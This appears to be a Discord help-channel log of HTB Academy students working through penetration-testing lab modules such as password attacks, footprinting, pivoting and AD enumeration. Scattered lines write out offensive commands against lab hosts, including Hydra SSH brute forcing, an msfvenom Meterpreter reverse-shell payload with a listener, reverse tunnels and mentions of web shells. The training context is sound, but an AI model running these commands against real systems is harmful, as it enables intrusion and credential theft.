unless i misunderstood im pretty sure they mean they tried every username on the box and every password in the list

[fathom pendant]

¯_(ツ)_/¯

what's good to note is that each service has their own user

so once you get one, you should remove it from the list

[unborn summit]

@honest crane this is the case.. right?

[fathom pendant]

also password attacks is pretty shitty at letting you know when to use the mutated wordlist vs the regular wordlist

but i believe that section is before mutated

[unborn summit]

if you had to use mutated on that section no one would have cpts yet

they'd all be stuck brute forcing winrm

[fathom pendant]

[silk anchor]

It teaches patience and persistence if nothing else.

[honest crane]

I used the users I gathered from get-localuser (which are 6-7 iirc) and the provided password list for Hydra SSH brute force

[fathom pendant]

imo just use the default list

[unborn summit]

what they did was very clever

[fathom pendant]

it is

but just in case of some shenanigans™️

[honest crane]

Didn't you say that the users I found are legit?

[fathom pendant]

other suggestions would be: resetting target

waiting at least 5-10 minutes before attacking to ensure services have properly started up

[unborn summit]

try smb @honest crane, i think with ssh you can login with users that don't exist, but smb is like... internal to windows or something, so users on smb should exist on the actual box as a local account.

[silk anchor]

You can use this technique when attacking domain controllers/AD etc to get domain users but its a bit beyond what the module is expecting atm, best to use the defaults

[unborn summit]

if not then there are some shenanigans indeed 🧐

[honest crane]

I did got three hits on smb, now that I checked

[unborn summit]

is one of them the original user you logged into winrm as?

[honest crane]

Not sure why would I use the 200-long userlist, when I have all the users..

[honest crane]

Yeah

Ed: Wait nvm, it's three + the winrm user

[fathom pendant]

if you want to clean up the output a bit; pipe the nxc output to grep -v '[-]'

that way you only get the [+] messages

[honest crane]

I wish there was an option for that, losing colors is lame

[silk anchor]

I like your method and think its a good way to approach it though the module is notorious for taking a long time so if you end up missing something from the default list for whatever reason you are going to have a bad time.

But it might work out and you save a load of time so who knows 😂

[fathom pendant]

i think there's a an option for grep to keep colors

¯_(ツ)_/¯

[fathom pendant]

it's something similar to what i did, instead i just looked at C:/Users/

and for the linux host i looked at /home/

[honest crane]

I already got the SMB flag, we'll see

[silk anchor]

Hopefully it goes smoothly for you, I still have PTSD from that module though I was very inexperienced when I did it.

[honest crane]

How long did it took you?

[silk anchor]

2 days for the full module, Not sure how many hours but minimum 16 I guess.

[unborn summit]

reccomended time is 8 hours

i dont know anyone who has done it within that time

[silk anchor]

There was another one that was similar, Can't remember if it was attacking thick client apps or something else... rough

[fathom pendant]

the recommended time for common apps module was prior to the addition of the thick client sections

(fuck java)

[leaden island]

welp

im on intro into command line

the question says

Using the skills acquired in this and previous sections, access the target host and search for the file named 'waldo.txt'. Submit the flag found within the file.

i found the file and i found the flag

and it still says answer is wrong

[unborn summit]

are you 100% sure there are no trailing or leading spaces in the flag that shouldnt be there?

[tired atlas]

So i'm on the footprinting hard lab, and I can't seem to SSH as User Tom, using the private key I enumerated from the SNMP server

[leaden island]

nope i checked it countless times

[tired atlas]

I even tried putting the path to the private key in the ssh_config file

[unborn summit]

ssh doesn't automatically detect that you have a private key, you should specify it with -i

i.e.

ssh [e-mail] -i id_rsa

you also havent specified a user in ssh, im pretty sure its necessary

[tired atlas]

I've already used that, same error

[unborn summit]

log in as a specific user with [e-mail]

[honest crane]

Did you changed the permissions?

[tired atlas]

yeah chmod 600 <file name>

[unborn summit]

maybe just try resetting the target, you already know how to do it so it should be quick

[unborn summit]

could you show the full ssh debug output

[honest crane]

Try to see if there's a new empty line at the end of the key

I think it's a copying issue

[safe star]

unless its in the default directory

[tired atlas]

yeah sure

Let me try something what you suggested

then i'll show you the debug

@unborn summit

[unborn summit]

that's all of it?

[tired atlas]

yeah

the line above is just the command i used

[unborn summit]

you tried what @honest crane suggested?

[tired atlas]

empy line hmm wait let me check

hmm could be

there's plenty of spaces

how do I copy it correctly then

[safe star]

yeah thats scrambled

[tired atlas]

I just got it straight from the server

[unborn summit]

when you cat the key on the server what output shows up?

[tired atlas]

shows up fine

[safe star]

try cat -v

[tired atlas]

it's the same??

[unborn summit]

this is on the server? not on your pwnbox/vm?

[tired atlas]

no I'm not on any server

this is on pwnbox

[safe star]

oh i thought it would show the other characters

[tired atlas]

it shows the full file

[unborn summit]

private keys should be wrapped in ------ BEGIN PRIVATE KEY ------

and

------- END PRIVATE KEY-------

im guessing you only copied the middle portion

[tired atlas]

Ahhhhh

Yah

Well the more you know

[unborn summit]

its how ssh knows which algorithm the private key is associated with

[tired atlas]

Oh my god that worked

thanks, now i'll do the rest of the lab, so close!!!!

probs a database i need to find, so i can find the htb username

[safe star]

🥸

[tired atlas]

Ok cool thank you guys, I've finished hahahaha

[leaden island]

tried everything

[unborn summit]

did you ever figure this out? i am curious why this happened as well

[polar raven]

Nope

[leaden island]

let me priv esc

help pls

[unborn summit]

😬

[storm elk]

@leaden island do not abuse the red role for help

[leaden island]

sorry but im raging rn 😭

[polar raven]

My idea is that maybe strpos $REQUEST doesn't work due to url encoding but I'm truly not confident in it

[unborn summit]

sometimes the hint can give useful info about how the flag should be formatted, try looking at it

[storm elk]

You just notified all admins/moderators/staff for getting help with a module question. Please don't do it again

[leaden island]

i thought its built for that sry

[leaden island]

the hint just leading how to find the file

[storm elk]

Have you checked if there are spaces at the front/back?

[leaden island]

im rly sorry

yeah no spaces

[unborn summit]

ill do some testing

[storm elk]

Maybe you shouldn't decode it

[polar raven]

Do you have the source code ? I can give to you

[unborn summit]

i dont have the code, if you could send that would be great

[storm elk]

It asks you for the flag that you found in the file - not to decode it 😅

[leaden island]

correct

[unborn summit]

thats devious

[leaden island]

rly thanks i was about to destroy the laptop

[unborn summit]

who wouldnt see base64 and instantly decode it 🤔

[storm elk]

yeah true

[storm elk]

expensive module then

[leaden island]

i think the hint should be "do not decode"

[storm elk]

haha

[summer rune]

VM Setup
Before installing our ParrotOS Security operating system, we need to create a VM (in VMware Workstation in this example). Here we also specify which installation file will be used for the operating system (.iso file).

in this do i need to install parrot os security ? from its site for vmware and add it in vmware and run?

stucked here

[trail gyro]

Anyone can help me dm me

[unborn summit]

i dont know anything about parrot specifically but yes i would assume you need to download the iso file from the parrot website to use in vmware

[unborn summit]

with what

[rustic sage]

Send the contents of the flag.txt file to the administrator's desktop on the DC01 host.
AD Enumeration and Attacks - Skills Assessment Part II module

Comrades I am trying to get a shell on the windows pivot host (172.16.7.50) to my attacking machine but at the time of executing the payload with the user CT059 I did not get a response in the metasploit I am doing it in the following way someone could help me if I am having an error as such to have a shell:

-msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.7.240 -f exe -o shell.exe LPORT=8080
msfconsole -q
Set Payload Windows/x64/MeterPreter/reverse_https
lhost set 0.0.0.0
lport 8000 set
exploit
ssh -R 172.16.7.240:8080:0.0.0.0:8000 htb-student@10.129.254.73 -vN

[unborn summit]

Why are you doing 172.16.7.240:8080:0.0.0.0:8000?

[rustic sage]

guys can someone help with the metasploit module?

[rustic sage]

I use port forwarding to forward connections from port 8080 on the pivot server to the msfconsole esucha service on port 8000 and the -vN argument so that it doesn't prompt for logon

[unborn summit]

You are forwarding from 172.16.7.240 to 172.16.7.50

Correct?

You need to SSH into 172.16.7.240

Not 10.129.254.73

Also instead of 0.0.0.0 you should specify the specific ip you want to forward to

[unborn summit]

What's the issue?

[unborn summit]

So for example:

ssh -R 172.16.7.240:8080:173.16.7.50:8000 CT059@172.16.7.240 -vN

Actually, they are windows hosts without SSH installed aren't they. In that case you will need to use something else

But you can complete the entire module without any pivoting/ port forwarding, it was designed to be independent of the pivoting module

[tight fossil]

Olá

[rustic sage]

In the pivoting module they explain an exercise similar to the one I am doing but I do not get the shell

[rustic sage]

I think you are right because I wanted to practice that topic as such since I am from a network that I cannot communicate to my attacking machine

[unborn summit]

You're 10.x.x.x machine isn't aware of the traffic being sent to 172.16.7.240, only 172.16.7.240 itself has the 'power' to forward traffic bring sent to it

[unborn summit]

Fair enough, you can certainly do it

However SSH will not work because the hosts do not have SSH running , you will need to use something like chisel or ligolo etc

[rustic sage]

If that's why I have to route traffic from the pivot host to communicate with my 10.10.x.x

[rustic sage]

well i can't find the flag.txt even so i entered the adminstrator desktop

[unborn summit]

Yeah

[unborn summit]

Sometimes the flag names are random alphanumeric characters instead of just flag.txt

[rustic sage]

I am checking the service on the machine winwdos and I have no response
netstat -an | Findstr :22

[unborn summit]

Yes exactly, SSH is not running

Hence SSH port forwarding will not work on 172.16.7.240

I would recommend one of the other tools in the pivoting module like chisel, since I am assuming you have done it

[rustic sage]

thanks friend

[fading olive]

Hello, I'm currently doing the AD Enumeration & Attacks - Skills Assessment Part I
I'm having trouble with using PowerView on the remote target. I switched from the antak.aspx web shell to a msfvenom windows/shell_reverse_tcp and I uploaded the PowerView.ps1 file but when I import it with:

Import-Module C:\PowerView.ps1
Or:
. C:\PowerView.ps1
It doesn't let me use simple PowerView commands such as:
Get-ADDomain
However, when I run the:
Get-Module
Command, I do see PowerView, I just don't see anything in its "ExportedCommands" field.
Does anyone know how to import PowerView successfully? Or should I use a different rev shell?

[rustic sage]

oh but how to use meterpreter cuase i kinda missed up and don't know how to use it

[unborn summit]

It's similar to a Unix shell. For extra commands you can type help. If you want to drop onto an os shell you can use the shell command. There are references online for how to use meterpreter

[narrow oriole]

does finishing soc analyst job path gives cert when finished? hoping to add it as credentials for my resume

[unborn summit]

What error message are you getting when you try and run Get-ADDomain? Is it command not found?

[unborn summit]

You get the cert from attempting and passing the exam. I believe all completing the path does is give you a badge on htb academy

[fading olive]

Hello, the error message is: Get-ADDomain : The term 'Get-ADDomain' is not recognized as the name of a cmdlet, function, script file, or operable
program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
So yes the command is simply not found

Here's the output for the Get-Module command (I changed the PowerView.ps1 module to pv.ps1 for simplicity):
**PS C:> Get-Module

ModuleType Version Name ExportedCommands

---

Manifest 3.1.0.0 Microsoft.PowerShell.Management {Add-Computer, Add-Content, Checkpoint-Computer, Clear-Con...
Manifest 3.1.0.0 Microsoft.PowerShell.Utility {Add-Member, Add-Type, Clear-Variable, Compare-Object...}
Script 2.0.0 PSReadline {Get-PSReadLineKeyHandler, Get-PSReadLineOption, Remove-PS...
Script 0.0 pv
**

[unborn summit]

U could try:

Removing and then re importing the module

Running powershell with execution policy of bypass

Resetting the lab

And make sure that you definitely have the right script, it should be like 20000 lines long or something,

[fading olive]

"Running powershell with execution policy of bypass" I'm not sure what that means but I've tried the rest of your suggestions already and none worked. I found the PowerView.ps1 script right where the resource Tools-of-the-Trade.txt suggests. It's 20914 lines long and 770280 bytes.

[fading olive]

I even went as far as opening a rdp server on the target and connect to it just to make sure it's not a problem with the reverse shells I was using, and now, I connect with rdp run the same commands and get the same errors.

[fading olive]

I just restarted the target and redid everything and I still am unable to successfully use the command from the PowerView module... It's so annoying
I also tried to run powershell with the option:

powershell -ExecutionPolicy Bypass
Like you said but it still fails to correctly load the PowerView.ps1 module.

[trail ingot]

can anyone help me with AEN double pivot part in post exploitation

i am using ligolo-ng for double pivote when i connect from ad machine to my kali connection is made but my machine is forcefully closing it

i used chisel

even meterpreter but things is not working

[soft reef]

Are you using the right ports?

[trail ingot]

yes i have tried many port like default 443 80 8080 and many more

[storm elk]

do not join that

thats a scam

[soft reef]

For the pivots, default is 11601 you use that if you used 11601.

[soft reef]

agent.exe -connect yourip:11601 -ignore-cert

[trail ingot]

sorry but it is not working

ERRO[0419] dial tcp 127.0.0.1:11601: connect: connection refused

this is the error my machin throwing

[soft reef]

did you add a listener, I send you a dm

[wind mason]

Hi

[storm elk]

hello

got a problem?

[rough violet]

firewalls in linux fundamentals is confusing, it looks there's an overlapping between the components of iptables, like chains manages traffic but also rules & targets apply set of actions to network traffic based on criteria, & so on and so forth..

[fading olive]

Hello, if you happen to be familiar with the AD enumerations and attack module, I posted a question just above, I can't get the second question because I can't manage to import the PowerView module

[rough violet]

and like matches are another layer to specify whether rules should be applied or not

[storm elk]

I have not done that module, sorry

[soft reef]

The C2 Sliver module web01 rdp machine is not working, sometimes it connects then dc's again after 10 seconds.

[soft reef]

I did the module, you can dm if you want

[gray yacht]

Maybe try a different revshell. Revshells has one i would try.

[fair yacht]

wdym? the linux fundamentals module only touches on these topics on a very slight sense, firewalls and docker and maybe some other too, I cannot remember. but there aren't even neccessary commands to pass that part of the module

[fading olive]

I tried the windows/x64/meterpreter/reverse_tcp and windows/shell_reverse_tcp ones

[gray yacht]

Try a PS one. You can DM if you'd like.

[rough violet]

yea there aren't,
I was just confused by the explanation,
lots of the components seem to be doing the same things more or less
I need to practise them to understand more articulately

[fair yacht]

ye, you could try more deeply research on these topics, althought there is no firewall module for htb academy, the closest you can get to that is the ids/ips module

[rough violet]

right,
I will do that on my own ig, I just think it's major to be able to apply the technologies mentioned in the module,
I think blue teaming deals with firewalls, ids a lot

but if I just read the module it's honestly as if I'd just read the header of the section

[fair yacht]

there are some parts of the modules that only have reading parts, you have to get used to it. maybe you could try some different practices with the given tools but I don't know how much that would pay out

there are some modules that are straight up reading

almost all of those are tier 0

there are some in tier 1 too

about 8 in tier 0
4 in tier I
and 1 in tier II

although the one in tier 2 has a pretty big skills assesments, it's the documentation and reporting module

[rough violet]

that's cool, my plan is to finish the information security foundations path & get back to pwning machines on HTB

[jovial sparrow]

Looking for directional help.. not sure if this is the place but I signed up for hack the box yesterday with the intentions of learning pen testing after doing research and listening to podcasts, true crime etc lol… I figured that cracking into hard drives and what not for a legal case would be a cool job is pen testing the right path for this? Or is that just a skill I would learn along the way as I progress through the pen testing journey?

[fathom pendant]

cracking into hard drives for legal stuff is more digital forensics, pentesting doesn't have you crack hard drives

as pentesting has you attacking machines that are running (thus eliminating the need to crack the hard drive)

and generally requires some specialized software in order to maintain the integrity of the drive; with digital forensics you have to log every action you take

[lethal atlas]

I am working on the macOS fundementals module and im not certain it is spawining correctly. When I open the instance its just a linux machine. No mac or any indication of how to connect to a mac machine.

[fathom pendant]

the mac fundamenntals module requires you to have a MAC device

[lethal atlas]

seriously? that is a strange requirement.

[fathom pendant]

it's because emulating a macOS device is basically impossible since they don't make their image publicly available

[lethal atlas]

I guess I wont be finishing this module today then

[pine dune]

Hi @fathom pendant if you're cool with it, do you mind if I speak to you in DMs regarding cyber security? It might be a back & fourth thing which is why I don't want to mix up this channel 😅

[errant pivot]

Did anyone else have issues with formatting your answers in network traffic analysis module? For most I have gotten to the right result by spamming modifications of my original answer but with interrogating network traffic with capture and display filters I have tried so many inputs including the not from the hint and copying the line of text from the cheat sheet but nothing seems to work

Ip:port ip:port
Ip port ip port
Ip.port ip.port
Ip:port > ip:port
Ip port > ip port
Ip.port > ip.port
Same with and same with server and
Any advice?

[grizzled schooner]

Shells and payloads live engagement:

Host 1 - managed to upload a jsp shell from laudanum, and using ||hostname|| got me the answer for part 1, but it seems like no other command I use is working... any nudges?

[viral lotus]

Sounds like you want a DFIR course (digital forensics and incident response)

[eternal blade]

can someone help in ssrf skills assessment?

[somber whale]

I feel lost in all of this info. I am trusting the process and going through the tier0 and up modules but it feels like so much info that I don’t know how it will all come together.

I don’t want a job in cybersecurity. I just want to be able to effectively go through the CTF and such

[wild sage]

So i'm doing the Hacking Wordpress module and I'm running across a problem with wpscan

I had to use sudo gem install wpscan to get it to download

[fair yacht]

you could totally do it without a macos

most of the questions are informational

others you can ask chatgpt

[still edge]

Hi guy is there a order to follow the module in pentester path? Or are they already in "order" to follow ?

[wind mason]

Yes, they are generally structured to build upon previous concepts so be sure to follow the order

[still edge]

Thank you alex

[viral lotus]

If you are interested in the knowledge to do boxes just enjoy the process, take good notes and allow enough time no pressure and eventually you’ll get there. John Hammond put a good video on YouTube the other week talking about mindset when feeling swamped. Good 10 minute watch

[winter schooner]

I need help on Attacking Common Applications, Attacking Web Client Applications. I did all the steps to create a new .exe via .\monty.bat. But now when I put it into the debugger I found the only MAP --rw- but when I double click on it no strings show up. For some reason when I do memory dump on the new .exe file, its the same as the first .exe they provide us, no different info in debugger.

[fathom pendant]

did you set the breakpoints properly?

[winter schooner]

Yes and I restarted the debugger as well to save changes.

[fathom pendant]

you don't restart the debugger, you restart the program you're debugging

aka the debugee

[winter schooner]

When the debugee didnt give me wanted results, I just closed and reopened the debugger, so how can I restart the debugee? Without closing and opening the debugger.

[fathom pendant]

alternatively; start up the debugger -- set the breakpoint option -- then open the program you're debugging

just re-run the program you're debugging

[solid rivet]

Hi

[winter schooner]

I tried that and it gave the same results as the first .exe file.

[fathom pendant]

i didn't have any issues doing it as shown ¯_(ツ)_/¯

[inland oak]

Hi! I have a question. Does anyone know about these modules? I'm a bit confused about where the user 'bob' and the password come from. It didn't teach us how to obtain that. I have all the flags and the password, but my question is: how do I obtain the user 'bob'? Where did he come from?

[somber whale]

Thank you. I appreciate this.

[fathom pendant]

You don't, the modules sometimes give you information to use. I don't believe there's a feasible way to bruteforce that info

As that's the getting started module, they aren't looking for you to do anything complex

Sometimes the modules are propped as you working with a team

[main ridge]

Hi. I'm doing the Password Mutation section within the Passwords Attacks Module

I have to create a mutated wordlist using the files under "Resources" to brute force the password for the user "sam" of the ssh service

To do this I used the custom.rule given and the password.list to create a custom wordlist using with hashcat hashcat --force wordlists/password.list -r custom.rule --stdout > mut_password.list
(password.list and custom.rule are given)

And executed the attack with Hydra
hydra -l sam -P mut_password.list ssh://$IP -I
The "problem" is that the custom wordlist is 187775 words long and hydra says it will take around 33h to complete [STATUS] 94.14 tries/min, 659 tries in 00:07h, 187113 to do in 33:08h
Is this the right approach?

[barren root]

is academy extra laggy just for me 2day or is it just how the current state

20 seconds for an ssh prompt

then another 20 to enter the pass, then another twenty, then hangs

across few modules

[winter schooner]

Im pretty sure it lets you filter some of it with an attack, and if it can't, wait 30 minutes.

[inland oak]

ahhh.. i stuck 2 days to find the answer. ok ok noted. Will jump to next lvl. Thankssss

[fathom pendant]

You're missing the | sort -u option, the cheatsheet is missing that

[real tapir]

I'm trying to do a nessus skills assesment (https://academy.hackthebox.com/module/108/section/1233), but I'm stuck on the first question. I can't find the name of the SMB share. Here's what I see: https://cdn.discordapp.com/attachments/1194115213813883030/1331747211654201356/E4C2EA71-C3B1-47A5-AE01-83E54B139015.png?ex=6792bdbd&is=67916c3d&hm=03325b157c5f6c00e4d43baf76db5bfd36bda6f89da263fb7cd9780496c2fe2e&

[fathom pendant]

are you looking at the right target? also i suggest reading and following #welcome so you can share screenshots

also might not be under

vulnerabilities

[real tapir]

there's only one host, and these are the only available options in nessus:

• hosts
• vulnerabilities
• remediations
• VPR Top Threats
• History (the one entry doesn't work for some reason)
• Configure
• Audit Trail
• Launch
• Report
• Export
  what option will give the name?

[fathom pendant]

are you using the pre-run scan?

[safe star]

that was a thing?

[fathom pendant]

yes

[real tapir]

yep

[fathom pendant]

authed or unauthed report?

[safe star]

i waited like 30-40 mins for each scan 😭

[real tapir]

the authed one

[dreamy garnet]

I'm going through the pivoting, tunneling and port forwarding module and ANYTIME I run nmap via proxychains, all the ports are ALWAYS shown as filtered?

[safe star]

try running with sudo

[real tapir]

here's the full nessus page: https://cdn.discordapp.com/attachments/1194115213813883030/1331749342192730262/769879D9-881B-49C2-BCB4-9161110930A1.png?ex=6792bfb9&is=67916e39&hm=2dd457d4763566360aabb99b1abae21b744f426c2d7677b5c70cbf0d243777dc&

[fathom pendant]

check the info ones

[dreamy garnet]

It does work, thanks! But there's no sudo in the examples, did I miss something?

[fathom pendant]

literally one of the info ones says "SMB share enumeration"

scroll a bit

[real tapir]

oh ok that works ty

[fathom pendant]

"where shares"
"Definitely not in the one that says 'share enumeration'"

[real tapir]

:( didn't think to look for anything like that

[safe star]

not sure, i just know sudo works lol

i just have a alias for it so i dont forget alias pxc='sudo proxychains'

[acoustic thorn]

Anyone know where I am making a mistake here? To my knowledge proxychains and chisel r configured correctly though it's been awhile

[fathom pendant]

ICMP echo requests don't like socks

[neat pelican]

Where or who can I contact, regarding a correction on one of the questions in the modules?

[fathom pendant]

#1234357888114364508

[acoustic thorn]

I've run "proxychains nmap -sS --top-ports 100 172.16.6.1/24" as a sanity check and I'm still unable to find a live host surely there's something I've missed

[fathom pendant]

it would help to say what module you're doing

[acoustic thorn]

AD Enumeration & Attacks - Skills Assessment Part I

[fathom pendant]

ah

also i suggest running proxychains with sudo

sudo proxychains <command>

i personally use ligolo for my pivoting needs, as it doesn't mess with socks or anything like that

[acoustic thorn]

I like ligolo quite a bit more but I was hoping to revisit some older tools

I'm realizing my chisel versions may not be compatible with one another but I can't say for sure thats the issue

[fathom pendant]

that can be an issue

you always wanna make sure agent/proxy tools are on the same version

[acoustic thorn]

Definitely

Don't know why I'm just realizing this now

[rocky cypress]

is anyone having issues connecting to endpoints on the VPN?

nvmd. seems to just be the box for asreproasting in linux. moving to other modules for now

[acoustic thorn]

Update: it isn't a compatibility issue I'm dumbfounded 😪

[mighty magnet]

. ..

[steel snow]

Hello excuse me, i am at DNS enumeration section, in the last question

i am a bit confused. i assumed to do it, we have to enum all the subdomains, using wordlists

but i tried them all already, and non found the host so

i tried then to enumerate authoritative servers

i didn't have a luck to do it

[fathom pendant]

subdomains of subdomains exist

you're not gonna get much off of public authoritative servers

since these are private clients

[wide lynx]

[fathom pendant]

the dns server is the ip given

[steel snow]

thing is, i tried to enumerate those as well, no luck

[fathom pendant]

dig should find you all the base subdomains to enumerate

[steel snow]

right, but the sub domain that i found is

[fathom pendant]

after that other bruteforce tools can get you further

[steel snow]

ns

[fathom pendant]

doesn't sound right

are you doing dig axfr inlanefreight.htb @ip?

what's inlane.freight.htb?

:P

[steel snow]

:P

i made a typo hahahaha

[fathom pendant]

i suggest not revealing subdomains that you've found

but i can guarantee you you overlooked a subdomain to use a bruteforce tool on

[steel snow]

ahhh yeah i didn't find it tho, it's in the page itself

[fathom pendant]

even still

this is the footprinting module yeah?

[steel snow]

yes that's it

i am even using dnsenum tool to do all of these but i am sure i tried to bruteforce over the subbdomains i found

[fathom pendant]

but dnsenum should work for one

make sure you're using a more fierce wordlist

not all wordlists are created equal

[steel snow]

wait tho, hmmmmmmmmmmmmmmmm

i might have misunderstood something

so A record can be also a dns server?

[fathom pendant]

i can 100% guarantee the name of the subdomain isn't in the subdomain-topX-

[steel snow]

not NS?

[fathom pendant]

only NS records are NS

[steel snow]

thing is, i tried all the wordlist based on the hint that is found in seclist

hmmmmm let me check tho

[fathom pendant]

fierce is the only hint here

[steel snow]

i found fierce i wanted to use it

but i didn't preceed

[fathom pendant]

¯_(ツ)_/¯

[steel snow]

because it's not in the module

[fathom pendant]

don't make assumptions

[steel snow]

the thing is i can't know if i am doing something wrong, or do i need to search for tools myself

[fathom pendant]

always work to rule something out instead of making assumptions, the only general assumption you can make is to not use enormous wordlists for bruteforcing

[steel snow]

in the DNS section module, fierce wasn't discussed

[fathom pendant]

ok and?

i can guarantee you that it's not in the subdomains-topX wordlists

[steel snow]

how can i know if i am understanding something wrong, or i have to search?

[fathom pendant]

the hint is enough to tell you that you should be trying different wordlists than what's shown

[steel snow]

i did try the seclist not the subdomains-topX

but the other ones

[fathom pendant]

there's multiple lists in seclists

[steel snow]

i did all the subdomains one

[fathom pendant]

except fierce

[steel snow]

but maybe i missed one here or there

[fathom pendant]

:P

[steel snow]

hmmmm let me see if it exists hahaha

hmmmmmmmmmmmmmmmmm

i really think i used fierce tho, it immidiately stroke my attention

hmmmmmmm

you said only NS records has a DNS server right?

but then in that case, why do i see that subdomain that i entered (but you deleted) listed in as an A record?

[fathom pendant]

not what i said at all

[steel snow]

ahhh so

NS isn't DNS?

[fathom pendant]

just that the name server will exist as NS

it is

https://www.cloudflare.com/learning/dns/dns-records/

[steel snow]

yes yes, okay so you mean only NS is NS but NS can be A

i misinterpreted your answer

[fathom pendant]

no, NS is NS

not A

[steel snow]

but i mean in the end, to get the IP of the DNS we need an A record no?

[fathom pendant]

not really

[steel snow]

hmmmm but the subdomain inte*** (censored for answer) doesn't exist as NS but as A when dig is used on the inlanefreight.htb domain

[fathom pendant]

yes, but that isn't a name server

[steel snow]

but hmmmmmm why was i able to get the zone file of it then?

[fathom pendant]

it's another zone, hence why you can transfer to it

[steel snow]

ohhh? a zone isn't a DNS then?

[fathom pendant]

nope

[steel snow]

i thought a zone is stored on DNS

[fathom pendant]

not always

[steel snow]

i see i see, the part of a zone confused me, since i never used a zone before, i didn't have experience with it, but ah i see i see

[fathom pendant]

the base domain happens to hold the zone records and happens to be the name server for both the base domain and the other domain you can transfer to

the cloudflare link i sent early explains records

[steel snow]

I will read it! thank you!

[fathom pendant]

well it allows you to transfer to the other domain at least

not necessarily that it holds both

also remember when you query a zone the result you retrieve is from the perspective of the server

so something being 127.0.0.1 on the server, for instance, means that it is on the same machine

[steel snow]

right, an internal server

so no access to it, a localhost

[fathom pendant]

not necessarily no access to it

[steel snow]

i mean machines in the same network can access it

[fathom pendant]

just that it exists on the same IP/server

[fathom pendant]

not what i meant

[steel snow]

at least when i created a network app, i was able to access a localhost from a device on my network but anyone outside of my private network, no access to it

[fathom pendant]

that's a separate thing

the records just state that the object that you might be looking for exists in x location under y name

localhost for zone records simply means that it doesn't need to travel anywhere else to give you the info

think of it as next hop info

[steel snow]

hmmmmmmmm

does that exist on the link you sent?

to understand in more details?

i mean

i can search! but thank you! i will be reading more on that!

[fathom pendant]

think of it like someone asking if someone lives somewhere right?

say someone calls and asks if other people live there, if you answer yes each person would be a different answer that would be returned

if they ask if someone specific lives there but you say no, and you know where they Do live you tell them they exist at this other address

[steel snow]

ohhhh so 127.0.0.1 just means it exists here?

like in the queiried dns i assume?

the info queried exists on the queried server?

also hmmmmmmmmm

i used the wordlist we discussed before

to enumerate for the requested domain

using dnsenum to bruteforce the domains

but i got the subdomains

but after i used those subdomains i found

i was unable to bruteforce them to find subdomain of a subdomain

[fathom pendant]

working fine on my end

[steel snow]

i used dnsenum to try to use the

like i took the found subdomains and i subbed them instead of the inlanefreight.htb

what i did here should be correct, or is that where it's wrong?

yeah i am getting NS record query failed: NOERROR

when it failed, i went and i tried to dig for the data because i was like maybe i missunderstood something, but also no data was found, like dig for any and axfr

[fathom pendant]

you should be replacing inlanefreight.htb with subdomain.inlanefreight.htb

[steel snow]

exactly

what i did, but i am getting NOERROR

[fathom pendant]

you won't find anything with dig; that's why you need to bruteforce it

[steel snow]

hmmmmmmm should i try the pwnbox in that case?

[fathom pendant]

shouldn't matter using pwnbox

dm me your syntax

[steel snow]

sure!

[fathom pendant]

it's likely you are doing something silly

[agile torrent]

is there a way to do detailed queries of AD group/members (i.e. not just list all groups, all members etc) from a linux host on an internal network? i have creds for a user, and I'm trying to find what groups they are a part of.

[safe star]

ldapsearch and bloodyAD

[agile torrent]

bet

ill have a look, thanks

[azure aspen]

Hi there, i need help with the module "USING WEB PROXIES", and I have trouble getting Burp Suite to intercept traffic from NMAP and METASPLOIT.

Have followed the exact steps to configure proxychain and Burp Suite on pwnbox, as well as trying the same methods from Kali - but both contexts I was unable to see the HTTP history on NMAP

I've checked the HTB forums, there were several threads created on this but no clear resolution to issue.

Hope someone can point me towards the right direction

[fathom pendant]

i believe with nmap you can use --proxies option

[azure aspen]

yeah this is the command issued "nmap --proxies http://127.0.0.1:8080 94.237.62.3 -p56005 -Pn -sC"

[fathom pendant]

but i never bothered with, or trying to use nmap with burp

also generally you don't need to nmap an IP:PORT given by htb

(i know you're doing this to test/try)

but often burpsuite is better suited for web enum, so it's just better to do web stuff and have it capture that

[azure aspen]

hmmm. i managed to intercept traffic from metasploit on my kali vm

but not nmap

[clever hedge]

Thanks a lot, I was trying to resolve this task for few days and with your advices I finally did it

[azure aspen]

okay managed to get the solution for USING WEB PROXIES/PROXYING TOOLS "running 'auxiliary/scanner/http/http_put' in Metasploit on any website, while routing the traffic through Burp"

[fair mural]

Just finished the Windows Event Logs and Finding Evil module for the CDSA path. I'm curious as to what those who completed it thought about that module

[fathom pendant]

just did a quick search and understanding for how the dnsenum tool works to bruteforce those pesky subdomains that's required for the footprinting module DNS enumeration; it's basically like running
ns lookup wordlistitem.queried.domain nameserver or
dig wordlistitem.queried.domain @nameserver

so in theory instead of using dnsenum you could use one of those tools with a loop function to query :)

[safe star]

Had one of the better skill assessments in the path, good challenge and the questions made sense.

[analog pebble]

SMBmap doesnt recognize -R option to specify a share anymore, and it just hangs when using -s instead

[fathom pendant]

Your screenshot contains a username and pw

Anyway can't you sign into the machine directly to spray?

[analog pebble]

id prefer to practice w/ tools on both OS's

its not spraying anymore, just enumerating shares

[fathom pendant]

I suggest resetting the target or setting the timeout limit, i forget the flag for it

[analog pebble]

just to confirm-this is abnormal for smb right

mainly wanted to make sure im not misunderstanding the command

[fathom pendant]

Correct timeout isn't normal

Unless you have some abnormal connection speed to begin with

I.e. 1000ms ping

[cloud urchin]

--smb-timeout 5

[modest lichen]

Hello guys, i need help with an HTB module, in the windows attacks and defense "Kerbroasting" in the second question, i can't connect to DC1 to check the EventViewer, if anyone have any suggestions

[cloud urchin]

how are you trying to connect?

[modest lichen]

using bob's account

[cloud urchin]

the instructions say to use htb-student's account to connect

[modest lichen]

using rdp?

[cloud urchin]

yeah

you connect to the target spawned machine, then you can use RDP within the spawned machine to reach the DC

[modest lichen]

Got it! Thank you

[stark lark]

Have anyone ever had this Ligolo error? Not sure what the problem is since I use -selfcert (tried -autocert) aswell

[fathom pendant]

Not sure what you're trying to do here tbh as a lot of the functions are inside the tool interface itself

The error is stating that it doesn't have the cert files to launch ssl layer

https://github.com/nicocha30/ligolo-ng/wiki/Quickstart

Also suggest running ligolo with sudo/root perms

[covert star]

Hello guys I'm beginner

I want to learn hacking

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[cosmic sentinel]

it would be very nice if we could close the banner announcement and align the content to the center by hiding the table of contents.

[urban elk]

use /feedback

(hit enter after /feedback, it'll give you a feedback pop-up. I thought I was supposed to type it in the message and had to type it twice)

[cosmic sentinel]

thanks

[hearty orbit]

Is this the right channel to ask questions about HTB academy modules & problems?

[autumn pilot]

yes

